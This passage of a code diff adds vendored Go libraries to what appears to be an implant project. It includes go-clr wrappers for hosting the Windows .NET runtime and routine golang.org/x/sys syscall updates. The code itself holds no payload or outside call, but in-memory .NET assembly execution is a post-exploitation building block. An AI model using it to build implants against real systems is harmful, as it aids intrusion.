+		obj.vtbl.get_ToString,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&object)),
+		0,
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	str = ReadUnicodeStr(unsafe.Pointer(object))
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/safearray.go

@@ -0,0 +1,340 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+)
+
+// SafeArray represents a safe array
+// defined in OAIdl.h
+// typedef struct tagSAFEARRAY {
+//   USHORT         cDims;
+//   USHORT         fFeatures;
+//   ULONG          cbElements;
+//   ULONG          cLocks;
+//   PVOID          pvData;
+//   SAFEARRAYBOUND rgsabound[1];
+// } SAFEARRAY;
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
+// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
+type SafeArray struct {
+	// cDims is the number of dimensions
+	cDims uint16
+	// fFeatures is the feature flags
+	fFeatures uint16
+	// cbElements is the size of an array element
+	cbElements uint32
+	// cLocks is the number of times the array has been locked without a corresponding unlock
+	cLocks uint32
+	// pvData is the data
+	pvData uintptr
+	// rgsabout is one bound for each dimension
+	rgsabound [1]SafeArrayBound
+}
+
+// SafeArrayBound represents the bounds of one dimension of the array
+// typedef struct tagSAFEARRAYBOUND {
+//   ULONG cElements;
+//   LONG  lLbound;
+// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
+type SafeArrayBound struct {
+	// cElements is the number of elements in the dimension
+	cElements uint32
+	// lLbound is the lowerbound of the dimension
+	lLbound int32
+}
+
+// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
+// by making two syscalls and copying raw memory into the correct spot.
+func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
+	debugPrint("Entering into safearray.CreateSafeArray()...")
+
+	safeArrayBounds := SafeArrayBound{
+		cElements: uint32(len(rawBytes)),
+		lLbound:   int32(0),
+	}
+
+	safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
+	if err != nil {
+		return nil, err
+	}
+	// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
+	modNtDll := syscall.MustLoadDLL("ntdll.dll")
+	procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
+
+	// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
+
+	// void RtlCopyMemory(
+	//   void*       Destination,
+	//   const void* Source,
+	//   size_t      Length
+	// );
+	// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
+	_, _, err = procRtlCopyMemory.Call(
+		safeArray.pvData,
+		uintptr(unsafe.Pointer(&rawBytes[0])),
+		uintptr(len(rawBytes)),
+	)
+
+	if err != syscall.Errno(0) {
+		return nil, err
+	}
+
+	return safeArray, nil
+}
+
+// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
+// SAFEARRAY * SafeArrayCreate(
+//   VARTYPE        vt,
+//   UINT           cDims,
+//   SAFEARRAYBOUND *rgsabound
+// );
+// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
+func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
+	debugPrint("Entering into safearray.SafeArrayCreate()...")
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
+
+	ret, _, err := procSafeArrayCreate.Call(
+		uintptr(vt),
+		uintptr(cDims),
+		uintptr(unsafe.Pointer(rgsabound)),
+	)
+
+	if err != syscall.Errno(0) {
+		return
+	}
+	err = nil
+
+	if ret == 0 {
+		err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
+		return
+	}
+
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	safeArray = (*SafeArray)(unsafe.Pointer(ret))
+	return
+}
+
+// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
+// Allocates a new string and copies the passed string into it.
+// It returns a pointer to the string's content.
+//  BSTR SysAllocString(
+//    const OLECHAR *psz
+//  );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
+func SysAllocString(str string) (unsafe.Pointer, error) {
+	debugPrint("Entering into safearray.SysAllocString()...")
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	sysAllocString := modOleAuto.MustFindProc("SysAllocString")
+
+	input := utf16Le(str)
+	ret, _, err := sysAllocString.Call(
+		uintptr(unsafe.Pointer(&input[0])),
+	)
+
+	if err != syscall.Errno(0) {
+		return nil, err
+	}
+	// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	return unsafe.Pointer(ret), nil
+}
+
+// SafeArrayPutElement pushes an element to the safe array at a given index
+//  HRESULT SafeArrayPutElement(
+//	  SAFEARRAY *psa,
+//	  LONG      *rgIndices,
+//	  void      *pv
+//  );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
+func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
+	debugPrint("Entering into safearray.SafeArrayPutElement()...")
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
+
+	hr, _, err := safeArrayPutElement.Call(
+		uintptr(unsafe.Pointer(psa)),
+		uintptr(unsafe.Pointer(&rgIndices)),
+		uintptr(pv),
+	)
+	if err != syscall.Errno(0) {
+		return err
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
+// HRESULT SafeArrayLock(
+//   SAFEARRAY *psa
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
+func SafeArrayLock(psa *SafeArray) error {
+	debugPrint("Entering into safearray.SafeArrayLock()...")
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
+
+	hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
+
+	if err != syscall.Errno(0) {
+		return err
+	}
+
+	if hr != S_OK {
+		return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
+	}
+
+	return nil
+}
+
+// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
+// HRESULT SafeArrayGetVartype(
+//   SAFEARRAY *psa,
+//   VARTYPE   *pvt
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
+func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
+	debugPrint("Entering into safearray.SafeArrayGetVartype()...")
+
+	var vt uint16
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
+
+	hr, _, err := safeArrayGetVartype.Call(
+		uintptr(unsafe.Pointer(psa)),
+		uintptr(unsafe.Pointer(&vt)),
+	)
+
+	if err != syscall.Errno(0) {
+		return 0, err
+	}
+	if hr != S_OK {
+		return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return vt, nil
+}
+
+// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
+// HRESULT SafeArrayAccessData(
+//   SAFEARRAY  *psa,
+//   void HUGEP **ppvData
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
+func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
+	debugPrint("Entering into safearray.SafeArrayAccessData()...")
+
+	var ppvData *uintptr
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
+
+	hr, _, err := safeArrayAccessData.Call(
+		uintptr(unsafe.Pointer(psa)),
+		uintptr(unsafe.Pointer(&ppvData)),
+	)
+
+	if err != syscall.Errno(0) {
+		return nil, err
+	}
+	if hr != S_OK {
+		return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return ppvData, nil
+}
+
+// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
+// HRESULT SafeArrayGetLBound(
+//   SAFEARRAY *psa,
+//   UINT      nDim,
+//   LONG      *plLbound
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
+func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
+	debugPrint("Entering into safearray.SafeArrayGetLBound()...")
+	var plLbound uint32
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
+
+	hr, _, err := safeArrayGetLBound.Call(
+		uintptr(unsafe.Pointer(psa)),
+		uintptr(nDim),
+		uintptr(unsafe.Pointer(&plLbound)),
+	)
+
+	if err != syscall.Errno(0) {
+		return 0, err
+	}
+	if hr != S_OK {
+		return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return plLbound, nil
+}
+
+// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
+// HRESULT SafeArrayGetUBound(
+//   SAFEARRAY *psa,
+//   UINT      nDim,
+//   LONG      *plUbound
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
+func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
+	debugPrint("Entering into safearray.SafeArrayGetUBound()...")
+
+	var plUbound uint32
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
+
+	hr, _, err := safeArrayGetUBound.Call(
+		uintptr(unsafe.Pointer(psa)),
+		uintptr(nDim),
+		uintptr(unsafe.Pointer(&plUbound)),
+	)
+
+	if err != syscall.Errno(0) {
+		return 0, err
+	}
+	if hr != S_OK {
+		return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return plUbound, nil
+}
+
+// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
+// If objects are stored in the array, Release is called on each object in the array.
+// HRESULT SafeArrayDestroy(
+//   SAFEARRAY *psa
+// );
+func SafeArrayDestroy(psa *SafeArray) error {
+	debugPrint("Entering into safearray.SafeArrayDestroy()...")
+
+	modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
+	safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
+
+	hr, _, err := safeArrayDestroy.Call(
+		uintptr(unsafe.Pointer(psa)),
+		0,
+		0,
+	)
+
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}

implant/vendor/github.com/Ne0nd0g/go-clr/utils.go

@@ -0,0 +1,107 @@
+// +build windows
+
+package clr
+
+import (
+	"bytes"
+	"fmt"
+	"log"
+	"strings"
+	"unicode/utf16"
+	"unsafe"
+
+	"golang.org/x/text/encoding/unicode"
+	"golang.org/x/text/transform"
+)
+
+var Debug = false
+
+// checkOK evaluates a HRESULT code for a caller and determines if there was an error
+func checkOK(hr uintptr, caller string) error {
+	if hr != S_OK {
+		return fmt.Errorf("%s returned 0x%08x", caller, hr)
+	} else {
+		return nil
+	}
+}
+
+// must forces the program to exit if there is an error using the log.Fatal command
+func must(err error) {
+	if err != nil {
+		log.Fatal(err)
+	}
+}
+
+func utf16Le(s string) []byte {
+	enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
+	var buf bytes.Buffer
+	t := transform.NewWriter(&buf, enc)
+	t.Write([]byte(s))
+	return buf.Bytes()
+}
+
+func expectsParams(input string) bool {
+	return !strings.Contains(input, "Void Main()")
+}
+
+// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
+func ReadUnicodeStr(ptr unsafe.Pointer) string {
+	debugPrint("Entering into utils.ReadUnicodeStr()...")
+	var byteVal uint16
+	out := make([]uint16, 0)
+	for i := 0; ; i++ {
+		byteVal = *(*uint16)(unsafe.Pointer(ptr))
+		if byteVal == 0x0000 {
+			break
+		}
+		out = append(out, byteVal)
+		ptr = unsafe.Pointer(uintptr(ptr) + 2)
+	}
+	return string(utf16.Decode(out))
+}
+
+// debugPrint is used to print messages only when debug has been enabled
+func debugPrint(message string) {
+	if Debug {
+		fmt.Println("[DEBUG] " + message)
+	}
+}
+
+// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
+// appended to the final safe array
+func PrepareParameters(params []string) (*SafeArray, error) {
+	sab := SafeArrayBound{
+		cElements: uint32(len(params)),
+		lLbound:   0,
+	}
+	listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
+	if err != nil {
+		return nil, err
+	}
+	for i, p := range params {
+		bstr, err := SysAllocString(p)
+		if err != nil {
+			return nil, err
+		}
+		SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
+	}
+
+	paramVariant := Variant{
+		VT:  VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
+		Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
+	}
+
+	sab2 := SafeArrayBound{
+		cElements: uint32(1),
+		lLbound:   0,
+	}
+	paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
+	if err != nil {
+		return nil, err
+	}
+	err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(&paramVariant))
+	if err != nil {
+		return nil, err
+	}
+	return paramsSafeArrayPtr, nil
+}

implant/vendor/github.com/Ne0nd0g/go-clr/variant.go

@@ -0,0 +1,38 @@
+// +build windows
+
+package clr
+
+const (
+	// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
+	// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
+	VT_EMPTY uint16 = 0x0000
+	// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
+	// The null value is used for tri-state logic, as with SQL.
+	VT_NULL uint16 = 0x0001
+	// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
+	VT_UI1 uint16 = 0x0011
+	// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
+	VT_UI4 uint16 = 0x0013
+	// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
+	// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
+	VT_BSTR uint16 = 0x0008
+	// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
+	VT_VARIANT uint16 = 0x000c
+	// VT_ARRAY is a Variant Type of a SAFEARRAY
+	// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
+	VT_ARRAY uint16 = 0x2000
+)
+
+// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
+// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
+// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
+// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
+type Variant struct {
+	VT         uint16 // VARTYPE
+	wReserved1 uint16
+	wReserved2 uint16
+	wReserved3 uint16
+	Val        uintptr
+	_          [8]byte
+}

implant/vendor/golang.org/x/sys/unix/mkerrors.sh

@@ -603,6 +603,7 @@ ccflags="$@"
 		$2 ~ /^ITIMER_/ ||
 		$2 !~ "WMESGLEN" &&
 		$2 ~ /^W[A-Z0-9]+$/ ||
+		$2 ~ /^P_/ ||
 		$2 ~/^PPPIOC/ ||
 		$2 ~ /^FAN_|FANOTIFY_/ ||
 		$2 == "HID_MAX_DESCRIPTOR_SIZE" ||

implant/vendor/golang.org/x/sys/unix/syscall_aix.go

@@ -215,18 +215,12 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
 	return
 }
 
-func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
+func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
 	// Recvmsg not implemented on AIX
-	sa := new(SockaddrUnix)
-	return -1, -1, -1, sa, ENOSYS
+	return -1, -1, -1, ENOSYS
 }
 
-func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
-	_, err = SendmsgN(fd, p, oob, to, flags)
-	return
-}
-
-func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
+func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
 	// SendmsgN not implemented on AIX
 	return -1, ENOSYS
 }

implant/vendor/golang.org/x/sys/unix/syscall_bsd.go

@@ -325,10 +325,9 @@ func GetsockoptString(fd, level, opt int) (string, error) {
 //sys	sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
 //sys	recvmsg(s int, msg *Msghdr, flags int) (n int, err error)
 
-func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
+func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
 	var msg Msghdr
-	var rsa RawSockaddrAny
-	msg.Name = (*byte)(unsafe.Pointer(&rsa))
+	msg.Name = (*byte)(unsafe.Pointer(rsa))
 	msg.Namelen = uint32(SizeofSockaddrAny)
 	var iov Iovec
 	if len(p) > 0 {
@@ -352,29 +351,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
 	}
 	oobn = int(msg.Controllen)
 	recvflags = int(msg.Flags)
-	// source address is only specified if the socket is unconnected
-	if rsa.Addr.Family != AF_UNSPEC {
-		from, err = anyToSockaddr(fd, &rsa)
-	}
 	return
 }
 
 //sys	sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
 
-func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
-	_, err = SendmsgN(fd, p, oob, to, flags)
-	return
-}
-
-func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
-	var ptr unsafe.Pointer
-	var salen _Socklen
-	if to != nil {
-		ptr, salen, err = to.sockaddr()
-		if err != nil {
-			return 0, err
-		}
-	}
+func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
 	var msg Msghdr
 	msg.Name = (*byte)(unsafe.Pointer(ptr))
 	msg.Namelen = uint32(salen)
@@ -571,12 +553,7 @@ func UtimesNano(path string, ts []Timespec) error {
 	if len(ts) != 2 {
 		return EINVAL
 	}
-	// Darwin setattrlist can set nanosecond timestamps
-	err := setattrlistTimes(path, ts, 0)
-	if err != ENOSYS {
-		return err
-	}
-	err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
+	err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
 	if err != ENOSYS {
 		return err
 	}
@@ -596,10 +573,6 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
 	if len(ts) != 2 {
 		return EINVAL
 	}
-	err := setattrlistTimes(path, ts, flags)
-	if err != ENOSYS {
-		return err
-	}
 	return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
 }
 

implant/vendor/golang.org/x/sys/unix/syscall_darwin.go

@@ -141,16 +141,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
 func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
 func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
 
-type attrList struct {
-	bitmapCount uint16
-	_           uint16
-	CommonAttr  uint32
-	VolAttr     uint32
-	DirAttr     uint32
-	FileAttr    uint32
-	Forkattr    uint32
-}
-
 //sysnb	pipe(p *[2]int32) (err error)
 
 func Pipe(p []int) (err error) {
@@ -282,36 +272,7 @@ func Flistxattr(fd int, dest []byte) (sz int, err error) {
 	return flistxattr(fd, xattrPointer(dest), len(dest), 0)
 }
 
-func setattrlistTimes(path string, times []Timespec, flags int) error {
-	_p0, err := BytePtrFromString(path)
-	if err != nil {
-		return err
-	}
-
-	var attrList attrList
-	attrList.bitmapCount = ATTR_BIT_MAP_COUNT
-	attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
-
-	// order is mtime, atime: the opposite of Chtimes
-	attributes := [2]Timespec{times[1], times[0]}
-	options := 0
-	if flags&AT_SYMLINK_NOFOLLOW != 0 {
-		options |= FSOPT_NOFOLLOW
-	}
-	return setattrlist(
-		_p0,
-		unsafe.Pointer(&attrList),
-		unsafe.Pointer(&attributes),
-		unsafe.Sizeof(attributes),
-		options)
-}
-
-//sys	setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
-
-func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
-	// Darwin doesn't support SYS_UTIMENSAT
-	return ENOSYS
-}
+//sys	utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error)
 
 /*
  * Wrapped

implant/vendor/golang.org/x/sys/unix/syscall_dragonfly.go

@@ -169,11 +169,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
 	return
 }
 
-func setattrlistTimes(path string, times []Timespec, flags int) error {
-	// used on Darwin for UtimesNano
-	return ENOSYS
-}
-
 //sys	ioctl(fd int, req uint, arg uintptr) (err error)
 
 //sys	sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL

implant/vendor/golang.org/x/sys/unix/syscall_freebsd.go

@@ -194,11 +194,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
 	return
 }
 
-func setattrlistTimes(path string, times []Timespec, flags int) error {
-	// used on Darwin for UtimesNano
-	return ENOSYS
-}
-
 //sys	ioctl(fd int, req uint, arg uintptr) (err error)
 
 //sys	sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL

implant/vendor/golang.org/x/sys/unix/syscall_linux.go

@@ -366,6 +366,8 @@ func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int,
 	return
 }
 
+//sys	Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error)
+
 func Mkfifo(path string, mode uint32) error {
 	return Mknod(path, mode|S_IFIFO, 0)
 }
@@ -1497,10 +1499,9 @@ func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error
 //sys	keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
 //sys	keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
 
-func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
+func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
 	var msg Msghdr
-	var rsa RawSockaddrAny
-	msg.Name = (*byte)(unsafe.Pointer(&rsa))
+	msg.Name = (*byte)(unsafe.Pointer(rsa))
 	msg.Namelen = uint32(SizeofSockaddrAny)
 	var iov Iovec
 	if len(p) > 0 {
@@ -1531,28 +1532,10 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
 	}
 	oobn = int(msg.Controllen)
 	recvflags = int(msg.Flags)
-	// source address is only specified if the socket is unconnected
-	if rsa.Addr.Family != AF_UNSPEC {
-		from, err = anyToSockaddr(fd, &rsa)
-	}
 	return
 }
 
-func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
-	_, err = SendmsgN(fd, p, oob, to, flags)
-	return
-}
-
-func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
-	var ptr unsafe.Pointer
-	var salen _Socklen
-	if to != nil {
-		var err error
-		ptr, salen, err = to.sockaddr()
-		if err != nil {
-			return 0, err
-		}
-	}
+func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
 	var msg Msghdr
 	msg.Name = (*byte)(ptr)
 	msg.Namelen = uint32(salen)
@@ -2316,6 +2299,7 @@ type RemoteIovec struct {
 
 //sys	PidfdOpen(pid int, flags int) (fd int, err error) = SYS_PIDFD_OPEN
 //sys	PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) = SYS_PIDFD_GETFD
+//sys	PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) = SYS_PIDFD_SEND_SIGNAL
 
 //sys	shmat(id int, addr uintptr, flag int) (ret uintptr, err error)
 //sys	shmctl(id int, cmd int, buf *SysvShmDesc) (result int, err error)
@@ -2464,5 +2448,4 @@ func Setitimer(which ItimerWhich, it Itimerval) (Itimerval, error) {
 // Vfork
 // Vhangup
 // Vserver
-// Waitid
 // _Sysctl

implant/vendor/golang.org/x/sys/unix/syscall_netbsd.go

@@ -163,11 +163,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
 	return -1, ENOSYS
 }
 
-func setattrlistTimes(path string, times []Timespec, flags int) error {
-	// used on Darwin for UtimesNano
-	return ENOSYS
-}
-
 //sys	ioctl(fd int, req uint, arg uintptr) (err error)
 
 //sys	sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL

implant/vendor/golang.org/x/sys/unix/syscall_openbsd.go

@@ -149,11 +149,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
 	return
 }
 
-func setattrlistTimes(path string, times []Timespec, flags int) error {
-	// used on Darwin for UtimesNano
-	return ENOSYS
-}
-
 //sys	ioctl(fd int, req uint, arg uintptr) (err error)
 
 //sys	sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL

implant/vendor/golang.org/x/sys/unix/syscall_solaris.go

@@ -451,10 +451,9 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
 
 //sys	recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_recvmsg
 
-func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
+func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
 	var msg Msghdr
-	var rsa RawSockaddrAny
-	msg.Name = (*byte)(unsafe.Pointer(&rsa))
+	msg.Name = (*byte)(unsafe.Pointer(rsa))
 	msg.Namelen = uint32(SizeofSockaddrAny)
 	var iov Iovec
 	if len(p) > 0 {
@@ -476,29 +475,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
 		return
 	}
 	oobn = int(msg.Accrightslen)
-	// source address is only specified if the socket is unconnected
-	if rsa.Addr.Family != AF_UNSPEC {
-		from, err = anyToSockaddr(fd, &rsa)
-	}
-	return
-}
-
-func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
-	_, err = SendmsgN(fd, p, oob, to, flags)
 	return
 }
 
 //sys	sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_sendmsg
 
-func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
-	var ptr unsafe.Pointer
-	var salen _Socklen
-	if to != nil {
-		ptr, salen, err = to.sockaddr()
-		if err != nil {
-			return 0, err
-		}
-	}
+func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
 	var msg Msghdr
 	msg.Name = (*byte)(unsafe.Pointer(ptr))
 	msg.Namelen = uint32(salen)
@@ -755,8 +737,20 @@ type fileObjCookie struct {
 type EventPort struct {
 	port  int
 	mu    sync.Mutex
-	fds   map[uintptr]interface{}
+	fds   map[uintptr]*fileObjCookie
 	paths map[string]*fileObjCookie
+	// The user cookie presents an interesting challenge from a memory management perspective.
+	// There are two paths by which we can discover that it is no longer in use:
+	// 1. The user calls port_dissociate before any events fire
